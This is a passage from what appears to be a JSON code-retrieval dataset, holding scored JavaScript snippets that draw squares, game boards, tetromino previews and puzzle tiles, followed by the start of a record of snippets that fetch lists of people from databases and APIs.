`<span id=${i*this.board_size[1]+j} class='${space_class}'>${img_src}</span>`\n // $(\"#simulator\").append(`<span id=${i*this.board_size[1]+j} class='${space_class}'>${img_src}</span>`)\n // if (j === cols - 1) {$(\"#simulator\").append(\"<br>\")}\n }\n row += \"</div>\"\n $(\"#simulator\").append(row)\n row = \"\"\n }\n }", "title": "" }, { "docid": "c659f9626854062173c92e1cd47ed438", "score": "0.5011401", "text": "function makeSquare(n){\n var result = \"\";\n var space = \" \";\n var star = \"*\";\n var newLine = \"\\n\";\n\n for (var i = 0; i < n; i++){\n // result += star;\n // result += star;\n // result += star;\n // result += star;\n // result += star;\n // result += star;\n // result += star;\n // result += newLine;\n for (var j = 0; j < n; j++){\n if(i === 0 || i === n-1 || j === 0 || j === n-1){\n result += star;\n }else {\n result += space;\n }\n }\n result += newLine;\n }\n return result;\n}", "title": "" }, { "docid": "b873ee7c037624b6d87ec10fb3a1debf", "score": "0.5006643", "text": "magicBar() {\n\n if (this.magic < 100) {\n //always increasing the magic as it restores with time but slower than how\n //much it takes to fire the spell\n this.magic += 0.5;\n }\n //making the healthbar follow the player but not at the edges\n //of the background image\n if (player.x > camXMin && state === \"Forest\") {\n // a satisfying distance so the healthbar is not off\n //when it follows the player\n this.magicBarX = player.x + this.magicBarOff;\n if (player.x > camXMax) {\n this.magicBarX = camXMax + this.magicBarOff;\n }\n if (state === \"Dungeon\") {\n //putting it back to the starting value\n this.magicBarX = width - 310;\n }\n }\n let magicSize;\n magicSize = map(this.magic, 0, this.maxMagic, 0, 300);\n\n push();\n //light blue color\n fill(178, 189, 244);\n //creating the light blue rectangle on bottom\n rect(this.magicBarX, this.barY, 300, 20);\n if (this.magic > 0) {\n //the dark blue color on top\n fill(66, 87, 191);\n //creating the rectangle that is mapped, the dark blue one, the magic\n rect(this.magicBarX, this.barY, magicSize, 20);\n }\n pop();\n }", "title": "" }, { "docid": "e7c244571814e5c26b37b8e7a61e9686", "score": "0.5002063", "text": "function draw_realtime_square(faceframe){\n\n\n var square_side_px = 200;\n\n var coords_x_rect = fm.mm2px_x(faceframe.supermiddle[0]) - square_side_px/2;\n var coords_y_rect = fm.mm2px_y(faceframe.supermiddle[1]-20) - square_side_px/2;\n\n \n if(typeof faces[faceframe.id][\"el\"][\"square\"] === \"undefined\"){\n\n faces[faceframe.id][\"el\"][\"square\"] = gfx.createRect().x(coords_x_rect).y(coords_y_rect).w(square_side_px).h(square_side_px).fill(\"#FFFFFF\").opacity(1.0);\n faces[faceframe.id][\"el\"][\"square2\"] = gfx.createRect().x(coords_x_rect+10).y(coords_y_rect+10).w(square_side_px-20).h(square_side_px-20).fill(\"#000000\").opacity(1.0);\n root_group.add(faces[faceframe.id][\"el\"][\"square\"]);\n root_group.add(faces[faceframe.id][\"el\"][\"square2\"]);\n console.log(\"FACE_ID:\" + faceframe.id + \" NEW SQUARE\");\n\n faces[faceframe.id][\"square\"] = {\"previous_pos\":[coords_x_rect,coords_y_rect]};\n\n } \n\n if (faces[faceframe.id][\"movement\"][\"square_status\"] == \"hidden\" ){\n\n show_square(faceframe);\n\n } \n\n\n faces[faceframe.id][\"el\"][\"square\"].x.anim().from(faces[faceframe.id][\"square\"][\"previous_pos\"][0]).to(coords_x_rect).dur(100).start();\n faces[faceframe.id][\"el\"][\"square\"].y.anim().from(faces[faceframe.id][\"square\"][\"previous_pos\"][1]).to(coords_y_rect).dur(100).start();\n \n faces[faceframe.id][\"el\"][\"square2\"].x.anim().from(faces[faceframe.id][\"square\"][\"previous_pos\"][0]+10).to(coords_x_rect+10).dur(100).start();\n faces[faceframe.id][\"el\"][\"square2\"].y.anim().from(faces[faceframe.id][\"square\"][\"previous_pos\"][1]+10).to(coords_y_rect+10).dur(100).start();\n \n faces[faceframe.id][\"square\"][\"previous_pos\"] = [coords_x_rect,coords_y_rect];\n console.log(\"FACE_ID:\" + faceframe.id + \" MOVE to \" + Math.round(faces[faceframe.id][\"square\"][\"previous_pos\"][0]) + \",\" + Math.round(faces[faceframe.id][\"square\"][\"previous_pos\"][1]) );\n\n\n}", "title": "" }, { "docid": "3b1a210aa8acb8f72f7cfc9a5551d453", "score": "0.49931732", "text": "function square(e) {return e * e}", "title": "" }, { "docid": "c6240eb5c22a6d6179d16f044e0f8b9e", "score": "0.49744296", "text": "update() {\n this.setBackground();\n this.resize();\n this.displayRectangle();\n this.displayMicLevelStrings();\n this.setStrings();\n this.checkRectHeight();\n this.success();\n }", "title": "" }, { "docid": "5e5d57added0778163e58fc937df57cd", "score": "0.49664643", "text": "function buildSquare(initX, initY, width, height, className) {\n\t \tvar commonSquare = document.createElementNS(NS, 'path');\n\t \tconsole.log(\"initX - \"+initX+\" initY - \"+initY+\" width - \"+width+\" height - \"+height);\n\t \tif(className==undefined) { className=\"\"; }\n\t \tvar M = \"M \"+initX+\" \"+initY;\n\t \tvar L1 = \" L \"+initX+\" \"+initY;\n\t \tvar L2 = \" L \"+(initX+width)+\" \"+initY;\n\t \tvar L3 = \" L \"+(initX+width)+\" \"+(initY+height);\n\t \tvar L4 = \" L \"+initX+\" \"+(initY+height);\n\t \tvar d = M+L1+L2+L3+L4+\" z\";\n\t \tconsole.log(d);\n\t \tvar commonSquareOptions = [\n\t \t\t['d', d],\n\t \t\t['class', className]\n\t \t];\n\t \tsetAttributes(commonSquare, commonSquareOptions);\n\t \treturn commonSquare;\n\t }", "title": "" }, { "docid": "061be72327158af957fa8a9d969e3902", "score": "0.49604368", "text": "function updateSquare(width, height, x, y, color, graphics) {\n const rect = new Phaser.Geom.Rectangle(width, height, x, y);\n graphics.clear();\n graphics.fillStyle = { color: `0x${color}` };\n graphics.fillRectShape(rect);\n}", "title": "" }, { "docid": "b13a11de948ee44e2b0f93abba51a4f9", "score": "0.49514487", "text": "function makeSquare(number) {\n let string = ''\n for(let i=0; i < number; i++){\n string += '*'.repeat(number)\n if (i !== number - 1){\n string += '\\n'\n }\n }\n return string\n}", "title": "" }, { "docid": "099d5be3a194e318f39237a45157e1fe", "score": "0.4940282", "text": "function createMatchBox() {}", "title": "" }, { "docid": "55e5d42ab747a89866a5f6d51e6c021d", "score": "0.49391496", "text": "parseSquare(algebraicMove){\n return algebraicMove.slice(-2);\n }", "title": "" }, { "docid": "c20d357a4fa3967eef1f02c591ec5d7d", "score": "0.49371597", "text": "drawPieces() {\n // Chess squares are in format A8 for top left square to H1 for bottom right.\n let columns = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H'];\n\n // Remove all current pieces.\n $(\".container div\").empty();\n\n // Loop through board.\n for (let y = 0; y <= 7; y++) {\n for (let x = 0; x <= 7; x++) {\n // If current square contains a piece, add it to the board.\n let square_info = this.board[x][y];\n if (square_info instanceof Piece) {\n $(\"<img>\", {\n \"src\": square_info.image,\n \"class\": \"piece\"\n }).appendTo($(\"#\" + columns[x] + (8 - y)));\n }\n }\n }\n }", "title": "" }, { "docid": "21b6f48684458903b4de2c87ed11930d", "score": "0.49338627", "text": "function Square(size) {\n this.size = size;\n}", "title": "" }, { "docid": "e74816fbcf45b836d462eb3e67f0b078", "score": "0.49262235", "text": "function rhomb(gen, bX, bY, tX, tY) {\n // make center and missing corners\n const cX = 0.5 * (bX + tX);\n const cY = 0.5 * (bY + tY);\n // 0.378937382=tan(Math.PI/12)*sqrt(2);\n const upX = 0.378937382 * (cX - bX);\n const upY = 0.378937382 * (cY - bY);\n const rightX = upY;\n const rightY = -upX;\n const rX = cX + 0.7071 * rightX;\n const rY = cY + 0.7071 * rightY;\n const lX = cX - 0.7071 * rightX;\n const lY = cY - 0.7071 * rightY;\n if (output.isInCanvas(bX, bY, rX, rY, tX, tY, lX, lY)) {\n if (gen >= tiling.maxGen) {\n rhombAreas.add(bX, bY, rX, rY, tX, tY, lX, lY);\n tiles.rhomb30(false, tiling.rhombUpperImage, bX, bY, rX, rY, tX, tY, lX, lY);\n } else {\n gen += 1;\n const bcX = cX - 0.7071 * upX;\n const bcY = cY - 0.7071 * upY;\n const tcX = cX + 0.7071 * upX;\n const tcY = cY + 0.7071 * upY;\n rhomb(gen, bX, bY, bcX, bcY);\n rhomb(gen, tX, tY, tcX, tcY);\n square(gen, cX, cY, lX, lY);\n square(gen, cX, cY, rX, rY);\n square(gen, cX, cY, bcX, bcY);\n square(gen, cX, cY, tcX, tcY);\n // sqrt(0.5)-sqrt(3)/2*cos(75)=0.48296\n // sqrt(3)/2*sin(75)=0.83652\n let x = cX + 0.48296 * rightX + 0.83652 * upX;\n let y = cY + 0.48296 * rightY + 0.83652 * upY;\n // sqrt(0.5)-sqrt(3)*cos(75)=0.25881\n // sqrt(3)*sin(75)=1.67303\n triangleA(gen, x, y, tcX, tcY, rX, rY);\n triangleC(gen, x, y, tcX, tcY, cX + 0.25881 * rightX + 1.67303 * upX, cY + 0.25881 * rightY + 1.67303 * upY);\n x = cX - 0.48296 * rightX + 0.83652 * upX;\n y = cY - 0.48296 * rightY + 0.83652 * upY;\n triangleA(gen, x, y, tcX, tcY, lX, lY);\n triangleC(gen, x, y, tcX, tcY, cX - 0.25881 * rightX + 1.67303 * upX, cY - 0.25881 * rightY + 1.67303 * upY);\n x = cX + 0.48296 * rightX - 0.83652 * upX;\n y = cY + 0.48296 * rightY - 0.83652 * upY;\n triangleA(gen, x, y, bcX, bcY, rX, rY);\n triangleC(gen, x, y, bcX, bcY, cX + 0.25881 * rightX - 1.67303 * upX, cY + 0.25881 * rightY - 1.67303 * upY);\n x = cX - 0.48296 * rightX - 0.83652 * upX;\n y = cY - 0.48296 * rightY - 0.83652 * upY;\n triangleA(gen, x, y, bcX, bcY, lX, lY);\n triangleC(gen, x, y, bcX, bcY, cX - 0.25881 * rightX - 1.67303 * upX, cY - 0.25881 * rightY - 1.67303 * upY);\n }\n }\n}", "title": "" }, { "docid": "bfe159adda1e9706d58d4272d0e01a2b", "score": "0.4922264", "text": "function big(){\n radius = 8;\n height = 50;\n width = 50;\n}", "title": "" }, { "docid": "6a8ff58bf9c8db6ec71b8a1d617f6f43", "score": "0.4914932", "text": "function displayShape() {\n\t\t// remove any element from mini grid /clear field\n\t\tminiGrid.previewSquares.forEach(square => {\n\t\t\tsquare.classList.remove('tetromino');\n\t\t})\n\n\t\t// draw next element in mini grid / add appropiate class\n\t\tnextTetris[nextRandom].forEach(index => {\n\t\t\tminiGrid.previewSquares[miniGrid.displayIndex + index].classList.add('tetromino');\n\t\t})\n\t}", "title": "" }, { "docid": "6ed0a9d9e1f0a737d6e1c5d21c7c8066", "score": "0.49124867", "text": "function setUpSquares() {\n\t\tvar puzzlearea = document.getElementById(\"puzzlearea\");\n\t\tvar xpos = 0;\n\t\tvar ypos = 0;\n\t\t\n\t\tfor (var i = 1; i < 16; i++) {\n\t\t\tvar square = document.createElement(\"div\");\n\t\t\tsquare.className = \"square\";\n\t\t\tif (xpos > 300) {\n\t\t\t\txpos = 0;\n\t\t\t\typos += SQR_SIZE;\n\t\t\t}\n\t\t\tsquare.id = \"square_\" + (ypos / SQR_SIZE + 1) + \"_\" + (xpos / SQR_SIZE + 1);\n\t\t\tsquare.style.position = \"absolute\";\n\t\t\tsquare.style.backgroundPosition = -xpos + \"px \" + -ypos + \"px\";\n\t\t\tsquare.style.left = xpos + \"px\";\n\t\t\tsquare.style.top = ypos + \"px\";\n\t\t\tsquare.onclick = analyzeSquare;\n\t\t\tsquare.onmouseover = highlightOn;\n\t\t\tsquare.onmouseout = highlightOff;\n\t\t\tpuzzlearea.appendChild(square);\n\t\t\txpos += SQR_SIZE;\n\t\t\t\n\t\t\tvar number = document.createElement(\"div\");\n\t\t\tnumber.className = \"number\";\n\t\t\tnumber.innerHTML = i;\n\t\t\tsquare.appendChild(number);\n\t\t}\n\t}", "title": "" }, { "docid": "306e54945e3d692d7220d46396414a13", "score": "0.49108595", "text": "function emojiOutline(width) {\n var emojiOS = \"\";\n var emojiMid = \"\";\n console.log(\"input: \" + width);\n emojiOS = emojiLine(+width);\n console.log(emojiOS);\n var smallBox = +width - 2; // width of inner box\n console.log(\"inner height: \" + smallBox);\n // if input is more than 1\n if (width > 1) {\n // create a square. for each iteration,\n for (midHeight = 0; midHeight < +width; midHeight++) {\n // >>>>>>>> why is this not repeating the middle line??? it's repeating in console but not output??\n // if the inner box is more than 1\n if (smallBox > 1) {\n emojiMid = thumb + fist;\n console.log(\"emojiMid beginning: \" + emojiMid);\n for (i = 0; i < smallBox - 1; i++) {\n // create the middle line\n emojiMid = emojiMid + fist;\n }\n // complete middle line\n emojiMid = emojiMid + thumb + \"<br>\";\n // repeat middle line as neccessary\n }\n emojiMid += emojiMid;\n }\n // console.log(emojiMid);\n emojiOS = emojiOS + \"<br>\" + emojiMid + emojiOS;\n }\n return emojiOS;\n}", "title": "" }, { "docid": "8de050136a1dd3e24e2f09d626fec87a", "score": "0.4909769", "text": "function buildSquare(blocks) {\n let pile = { 1: 0, 2: 0, 3: 0, 4: 0 };\n blocks.forEach(b => pile[b]++);\n let rowsToBuild = 4 - pile[4];\n let min13 = Math.min(pile[3], pile[1]);\n rowsToBuild -= min13;\n pile[1] -= min13;\n rowsToBuild -= Math.floor(pile[2] / 2);\n pile[2] = pile[2] % 2;\n let min12 = Math.min(Math.floor(pile[1] / 2), pile[2]);\n rowsToBuild -= min12;\n pile[1] -= 2*min12;\n rowsToBuild -= Math.floor(pile[1] / 4);\n return rowsToBuild < 1;\n}", "title": "" }, { "docid": "07a6dadbd383696669e71da2b640a3f4", "score": "0.49066997", "text": "function simpleSquare_render(usingMiddleX = this.middleX, usingMiddleY = this.middleY) {\n context.fillRect((usingMiddleX - 1) * 10, (usingMiddleY - 1) * 10, 10, 10);\n context.fillRect(usingMiddleX * 10, (usingMiddleY - 1) * 10, 10, 10);\n context.fillRect((usingMiddleX + 1) * 10, (usingMiddleY - 1) * 10, 10, 10);\n //Middle row.\n context.fillRect((usingMiddleX - 1) * 10, usingMiddleY * 10, 10, 10);\n context.fillRect(usingMiddleX * 10, usingMiddleY * 10, 10, 10);\n context.fillRect((usingMiddleX + 1) * 10, usingMiddleY * 10, 10, 10);\n //Upper row.\n context.fillRect((usingMiddleX - 1) * 10, (usingMiddleY + 1) * 10, 10, 10);\n context.fillRect(usingMiddleX * 10, (usingMiddleY + 1) * 10, 10, 10);\n context.fillRect((usingMiddleX + 1) * 10, (usingMiddleY + 1) * 10, 10, 10);\n}", "title": "" }, { "docid": "450e48098046faf924022fddc61ccc73", "score": "0.48967373", "text": "function printSquare(size) {\n var star = \"*\";\n for(var i = 0; i < size; i++) {\n console.log(star.repeat(size));\n }\n}", "title": "" }, { "docid": "f16ef57763cc6db65cdcd37f80d6eefe", "score": "0.48921293", "text": "function genSquare(xP, yP) {\n let s = new Square(xP, yP);\n stage.addChild(s.view);\n}", "title": "" }, { "docid": "19135b7770834d928ee6aea1ce1243db", "score": "0.4891081", "text": "function squareName(){}", "title": "" }, { "docid": "cdfd54be4b0b7f8bbe447dfe51acc84c", "score": "0.48850644", "text": "calculateSquareLayout() {\n const viewWidth = this.w;\n const viewHeight = this.h;\n const squareWidth = this.squareWidth;\n const squareCount = this.props.channelNumber;\n const margin = this.margin;\n\n this.squareProps = [];\n const xCount = Math.floor((viewWidth - margin) / (squareWidth + margin));\n for(let i=0; i<squareCount; i++) {\n const halfWidth = squareWidth/2;\n const xIdx = (i%xCount);\n const yIdx = (i - xIdx) / xCount;\n const x = margin + xIdx*(margin + squareWidth) + halfWidth;\n const y = margin + yIdx*(margin + squareWidth) + halfWidth;\n const left = x - halfWidth;\n const right = x + halfWidth;\n const top = y + halfWidth;\n const bottom = y - halfWidth;\n this.squareProps.push({\n x: x,\n y: y,\n w: squareWidth,\n h: squareWidth,\n l: left,\n r: right,\n t: top,\n b: bottom,\n });\n\n this.requiredHeight = top + margin;\n }\n }", "title": "" }, { "docid": "22aa14c6cdb6335cb9d8f9fad9c36378", "score": "0.48813057", "text": "function square(e){\n\tdigit1 = display.innerHTML;\n\tanswer = Math.pow(digit1,2);\n\tdigit1=answer;\n\tif(checklength(answer)){\n\t\tdisplay.innerHTML=answer;\n\t\tsinglehistoryappend(digit1,'Square');\n\t}\n\telse if(answer.toString().includes('.')){\n\t\t\t\tanswer = answer.toFixed(9);\n\t\t\t\tdisplay.innerHTML =answer;\n\t\t\t\tsinglehistoryappend(digit1,'Cube');\n\t\t\t}\n\telse{\n\t\tjumboalert();\n\t}\n}", "title": "" }, { "docid": "653757f6dd786dc32797bcc3fa7ead05", "score": "0.48750588", "text": "function displayShape() {\n displaySquares.forEach(square => {\n square.classList.remove('tetromino');\n square.style.backgroundColor = '';\n });\n\n upNextTetrominos[nextRandom].forEach(index => {\n displaySquares[displayIndex + index].classList.add('tetromino');\n displaySquares[displayIndex + index].style.backgroundColor = colors[nextRandom];\n });\n }", "title": "" }, { "docid": "f727e268e36f0e24d57086fbe80acb41", "score": "0.48686817", "text": "function square (argument) {\n\t\tbase = base * base;\n\t}", "title": "" }, { "docid": "e562d8d9a9949f329c4962182713da80", "score": "0.48630175", "text": "function fillSquareWithMarker(square, player) {\r\n square.className = player + \"-marker\";\r\n}", "title": "" }, { "docid": "429635a4f242449352d575287d91c11b", "score": "0.48551062", "text": "execSquarespace () {\n window.Squarespace.initializeVideo( window.Y );\n window.Squarespace.initializeCommerce( window.Y );\n window.Squarespace.initializeFormBlocks( window.Y );\n window.Squarespace.initializeLayoutBlocks( window.Y );\n window.Squarespace.initializeSummaryV2Block( window.Y );\n }", "title": "" }, { "docid": "0a675978a3b1cc3da8756c975f063aca", "score": "0.48547238", "text": "function displayShape() {\n displaySquares.forEach(square => {\n square.classList.remove(\"tetromino\")\n square.style.backgroundColor = \"\"\n })\n upNextTetromino[nextRandom].forEach(index => {\n displaySquares[displayIndex + index].classList.add(\"tetromino\")\n displaySquares[displayIndex + index].style.backgroundColor = colors[nextRandom]\n })\n }", "title": "" }, { "docid": "dfdae39a5f34b9cbe1de570f108637bd", "score": "0.4852419", "text": "function islandPrintSquare(x,y) {\n var flooded=#4CAF50; // green #009900\n var card=islandInfo.board[x][y];\n if (card >= 100) {\n flooded=#008CBA; // light blue; #0099ff\n card -= 100;\n }\n if(islandInfo.board[x][y] >= 0) {\n fill(flooded);\n rect(islandStartX+islandSizeSquare*x,islandStartY+islandSizeSquare*y,islandSizeSquare,islandSizeSquare,10);\n if (tiles[card].treasure>=0) // if this is a treasure tile\n image(treasures[tiles[card].treasure].image,islandStartX+islandSizeSquare*(x+0.1),islandStartY+islandSizeSquare*(y+0.6),islandSizeSquare/3,islandSizeSquare/3);\n if (card==0)\n image(imgHelicopter,islandStartX+islandSizeSquare*(x+0.1),islandStartY+islandSizeSquare*(y+0.5),islandSizeSquare/2,islandSizeSquare/2);\n fill(#000000);\n textSize(10);\n text(tiles[card].name,islandStartX+islandSizeSquare*x+5,islandStartY+islandSizeSquare*y+10,islandSizeSquare-10,islandSizeSquare);\n }\n}", "title": "" }, { "docid": "192395257dc3bf5d6a8ca7f11df174ee", "score": "0.48504028", "text": "function Increase(){\n\tvar squares = document.querySelectorAll(\"#squarearea div\");\n\tvar square = document.getElementById(\"squarearea\");\n\t//maxWidth and maxHeight allow for different sizes of boxed area\n\tvar maxWidth = parseInt(window.getComputedStyle(square,null).getPropertyValue(\"width\"));\n\tvar maxHeight = parseInt(window.getComputedStyle(square,null).getPropertyValue(\"height\"));\n\tfor (var i = 0; i < squares.length; i++){\n\t\tvar width = squares[i].style.width;\n\t\tvar height = squares[i].style.height;\n\t\tvar newWidth = parseInt(width) + Math.floor(Math.random() * (15-5+1) +5);\n\t\tvar newheigth = parseInt(height) + Math.floor(Math.random()* (15-5+1) +5);\n\t\tif ((newWidth + parseInt(squares[i].style.left)) < maxWidth){\n\t\t\tsquares[i].style.width = newWidth+\"px\";\n\t\t}\n\t\tif ((newheigth + parseInt(squares[i].style.top)) < maxHeight){\n\t\t\tsquares[i].style.height = newheigth+\"px\";\n\t\t}\n\t}\n\t \n }", "title": "" }, { "docid": "20924f7c22a802dfa6011b200bc17b7d", "score": "0.48455274", "text": "function CFsqc0GjlTKl11x0SjZu8g(){}", "title": "" }, { "docid": "f5f64e3fb783b340fbf2931e64bf05d4", "score": "0.4844796", "text": "function render_square_at(square, x, y)\n{\n left=x;\n top=y;\n out=\"\";\n\n if (square.deeded)\n\t{\n out+='<div class=\"halo\" id=\"halo' + square.position + '\" style=\"display:none; top:' + top + 'px;left:' + left + 'px;\"><img src=\"/images/sprites/halo.png\" width=\"65\" height=\"255\" /></div>';\n\t\tout+='<div class=\"squares\" id=\"square_' + square.position + '\" style=\"top:' + top + 'px;left:' + left + 'px;\" onmouseover=\"bubbleShow(\\'' + square.position+ '\\');\" onmouseout=\"bubbleHide(\\'' + square.position + '\\')\" >';\n\t}\n\telse\n\t{\n\t\tif (square.square_type_id==1 || square.square_type_id==3)\n\t\t\tout+='<div class=\"squares\" id=\"square_' + square.position + '\" style=\"top:' + (top+221) + 'px;left:' + left + 'px;\">';\n\t\telse if (square.square_type_id==5)\n\t\t\tout+='<div class=\"squares\" id=\"square_' + square.position + '\" style=\"top:' + (top+202) + 'px;left:' + left + 'px;\">';\n\t\telse\n\t\t\tout+='<div class=\"squares\" id=\"square_' + square.position + '\" style=\"top:' + top + 'px;left:' + left + 'px;\">';\n\t}\n\nswitch(square.square_type_id)\n{\n case 2:\n out+='<a type=\"2 ' + square.deed.levels + '\" href=\"#\">';\n out+='<img src=\"/images/sprites/';\n out+=square.deed.property_type_id + \"/\" + square.deed.levels;\n\t\tout+='.png\" width=\"65\" height=\"255\" /></a></div> ';\n break;\n case 3:\n out+='<a type=\"' + square.square_type_id + '\" href=\"#\">';\n out+='<img src=\"/images/sprites/';\n out+=\"sale_short\";\n\t\tout+='.png\" width=\"65\" height=\"34\" /></a></div> ';\n break;\n case 5:\n out+='<a type=\"' + square.square_type_id + '\" href=\"#\">';\n out+='<img src=\"/images/sprites/';\n out+=\"quicky_short\";\n\t\tout+='.png\" width=\"65\" height=\"53\" /></a></div> ';\n break;\n default:\n out+='<a type=\"' + square.square_type_id + '\" href=\"#\">';\n out+='<img src=\"/images/sprites/';\n out+=\"square_short\";\n\t\tout+='.png\" width=\"65\" height=\"34\" /></a></div> ';\n}\n\nif (square.deeded)\n{\n out+='<div class=\"bubbles\" id=\"bubble' + square.position + '\" style=\"display:none;\">';\n out+='<div id=\"content\">';\n out+='<table style=\"width:280px;\">';\n out+='<tr>';\n out+='<td><img src=\"/images/dot.gif\" style=\"height:68px;width:1px;\"></td>';\n out+='<td style=\"text-align:center;\">';\n out+='<b>' + square.deed.name + '</b>';\n out+='<br />Owned by: ' + square.deed.owner + '<br />';\n out+='Rent: ' + square.deed.rent + '<br />';\n out+='Position: ' + square.position;\n out+='</td></tr></table>';\n out+='</div>';\n out+='<div><img src=\"/images/notifier_cap.png\" height=\"8\" width=\"329\" ></div> </div>';\n}\nif (square.other_players)\n{\n//out+='<div class=\"others\" style=\"position:absolute;top:' + (top+280) + 'px;left:' + (left-4) +'\"><a class=\"tool_tip\" href=\"#\"><img src=\"/images/vehicles/odyssey_purple.png\" width=\"52\" height=\"35\" /></a></div>';\n}\n\n return out;\n}", "title": "" }, { "docid": "503e2c1a844ace2a9a61ec80c6b9932a", "score": "0.48416138", "text": "function displayShape() {\r\n displaySquares.forEach((square) => {\r\n square.classList.remove(\"tetromino\"); //elimina cualquier rastro de la clase tetromino de la grid\r\n square.style.backgroundColor = \"\";\r\n });\r\n\r\n upNextTetrominoes[nextRandom].forEach((index) => {\r\n displaySquares[displayIndex + index].classList.add(\"tetromino\"); //ahora para el tetromino seleccionado aleatoriamente en la minicaja se agrega la clase tetromino a cada bloque\r\n displaySquares[displayIndex + index].style.backgroundColor =\r\n colors[nextRandom]; //selecciona el color del tetromino en la minicaja\r\n });\r\n }", "title": "" }, { "docid": "d99d07889d727c8591ec04c546454e98", "score": "0.4838005", "text": "function handleRectify() {\n if (coords.length < 4) alert(\"Select 4 points!\");\n let [w, h] = findMinDims(coords);\n\n // Back-out any reduction to apply homography to full-size image\n w = Math.floor(w / reduction);\n h = Math.floor(h / reduction);\n let _coords = coords.map(c => [\n Math.floor(c[0] / reduction),\n Math.floor(c[1] / reduction)\n ]);\n\n // Apply magnification\n let magnify = Math.max(1, +document.getElementById(\"magnify\").value);\n w *= magnify;\n h *= magnify;\n\n solveHomography(_coords, [[0, 0], [w, 0], [w, h], [0, h]]);\n clearPoints();\n project(w, h);\n}", "title": "" }, { "docid": "2185a12182998e83926ad863c3ca2c7e", "score": "0.48366773", "text": "function sqaureDraw(a) {\n var field = \"\";\n for (var i = 0; i < a; i++) {\n for (var j = 0; j < a; j++) {\n if (i > 0 && i < a - 1 && j > 0 && j < a - 1) {\n field += \" \";\n } else {\n field += \"*\";\n }\n }\n field += \"\\n\";\n }\n return field;\n}", "title": "" }, { "docid": "14f1cb57fc20a7bf9db1db366668092f", "score": "0.48314604", "text": "function generateBoard() {\n // squareTest();\n generateCompleteBoard();\n copyBoard(board, sudokuBoard);\n removeBoardCells();\n drawBoardToScreen();\n // printBoard(board);\n}", "title": "" }, { "docid": "ff665012cac3ed4d91de7dbb81227a49", "score": "0.48285386", "text": "function resizeSquares(){\n\t\t$(\".board-square\").each(function(){\n\t\t\tvar height = $(this).width();\n\t\t\t$(this).height(height);\n\t\t});\n\t}", "title": "" } ]
79ad6bb7a12e7ba2f48dbf8610861d1d
API Call to get all Persons in the database and write them to the state
[ { "docid": "101d9b86b46a584a1ae69f06de2d4148", "score": "0.5716634", "text": "fetchPersonData() {\n\n fetch(namespace.api.default)\n .then(response => response.json())\n .then(data => {\n this.setState({\n personData: data,\n });\n })\n\n }", "title": "" } ]
[ { "docid": "8c6d38aa143b6369332eaaa904f2ec0f", "score": "0.6477797", "text": "function loadAllPeople(){\n\n modelListPeople.clear();\n var db = Storage.getDatabase();\n db.transaction(function(tx) {\n var rs = tx.executeSql('SELECT * FROM people');\n for(var i =0;i < rs.rows.length;i++){\n modelListPeople.append(rs.rows.item(i));\n }\n }\n );\n }", "title": "" }, { "docid": "7db3db4c0f51654208626627d47bd21b", "score": "0.64214516", "text": "async function queryPersons() {\n const res = await client.query('SELECT * FROM person;');\n return res.rows;\n}", "title": "" }, { "docid": "76142e97d3973c62697311a8ec892be5", "score": "0.61994994", "text": "function getPeople() {\n clearPeople();\n fetch(url + apiKey + '/people')\n .then(function(response) {\n return response.json();\n }).then(function(body){\n var ul = document.querySelector('.people'),\n frag = document.createDocumentFragment();\n body.forEach(function(person) {\n var li = document.createElement('li');\n li.className = \"get-person\";\n li.textContent = person.name + ', ' + person.age;\n frag.appendChild(li);\n });\n ul.appendChild(frag);\n });\n }", "title": "" }, { "docid": "7055cb59f115d09358f2f82aaa6dcabf", "score": "0.61787695", "text": "function getPeople(res, mysql, content, complete){\n // sql query\n var peopleQuery = \"SELECT Name FROM SpringBreakers\";\n mysql.pool.query(peopleQuery, function(error, results, fields){\n // function from https://github.com/knightsamar/CS340-Sample-Web-App\n // date retrieved October 29,2018\n // error handler\n if (error){\n res.write(JSON.stringify(error), function(){res.end()});\n }\n // assign query results to content \n content.personList = results;\n // make sure this function completes before returning\n complete();\n }); \n }", "title": "" }, { "docid": "b0c9c63daecd103866a8e2d48168c697", "score": "0.61644423", "text": "function getPeople(req, res, next) {\n res.status(200).send(data.getPeople());\n}", "title": "" }, { "docid": "12ab05f33243e6971f9a9519b638e589", "score": "0.6140021", "text": "static getAllPersons() {\n console.log(\"PersonApi ENTRA A ::getAllPersons aPI\")\n return fetch('http://localhost:9000/ejercicio/personas').then(response => {\n console.log(\"PersonApi ENTRA A ::getAllPersons 1\")\n return response.json();\n }).catch(error => {\n console.log(\"PersonApi ENTRA A ::getAllPersons 2\", error)\n return error;\n });\n }", "title": "" }, { "docid": "19d4f156272b2ebb0ce9c5cdebdfb5fb", "score": "0.61388683", "text": "async people() {\n // get all the people with the same departmentId\n const peopleJSON = await global.peopleCollection.find({ departmentId: this.id }).toArray();\n return peopleJSON.map((person) => {\n return new Person(person.id, person.firstName, person.lastName, person.jobTitle);\n });\n }", "title": "" }, { "docid": "e9616c4389c9b1ae9925f1d76f631134", "score": "0.61136043", "text": "async function fetchPersons() {\n const res = await fetch('https://randomuser.me/api/?seed=javascript&results=100&nat=BR&noinfo' );\n const json = await res.json();\n allPersons = json.results.map((person) => {\n const { name, picture, dob, gender } = person;\n return {\n name: name.first + ' ' + person.name.last,\n picture: picture.thumbnail,\n age: dob.age,\n gender,\n };\n }); \n}", "title": "" }, { "docid": "2ddb81fed616968e57f35fd9a31f8af8", "score": "0.6031499", "text": "function findAll() {\n const data = db.prepare(\"SELECT * FROM persona\").all();\n return data;\n}", "title": "" }, { "docid": "d9715b8803304147684c66edcd67a3cc", "score": "0.6007768", "text": "function getPeople(db) {\n\n\t\tvar people = [];\n\t\tdb.transaction([\"people\"], \"readonly\").objectStore(\"people\").openCursor().onsuccess = function(e) {\n\t\t\tvar cursor = e.target.result;\n\t\t\tif(cursor) {\n\t\t\t\t\tvar person = {\n\t\tname:cursor.value['name'],\n\t\temail:cursor.value['email'],\n\t\tcreated:new Date(),\n\t\tid:cursor.key\n\t\t}\n\t\tpeople.push(person);\n\t\t\t\tcursor.continue();\n\t\t\t}\n\t\t}\n\t\t\t\t\treturn people;\n\t\t}", "title": "" }, { "docid": "5149a41cb50eac84375750666794bd87", "score": "0.59922767", "text": "function getAllPeople(req, res, next) {\n res.send(data);\n next();\n}", "title": "" }, { "docid": "d3a878bbf6f85802e2741fa6cf254de7", "score": "0.5987489", "text": "fetchPeople () {\n this.setState({user: {}})\n console.log('fetch all people')\n axios.get('/people')\n .then(res => {\n this.setState({users: res.data})\n console.log('fetchPeople state', this.state)\n })\n .catch(err => 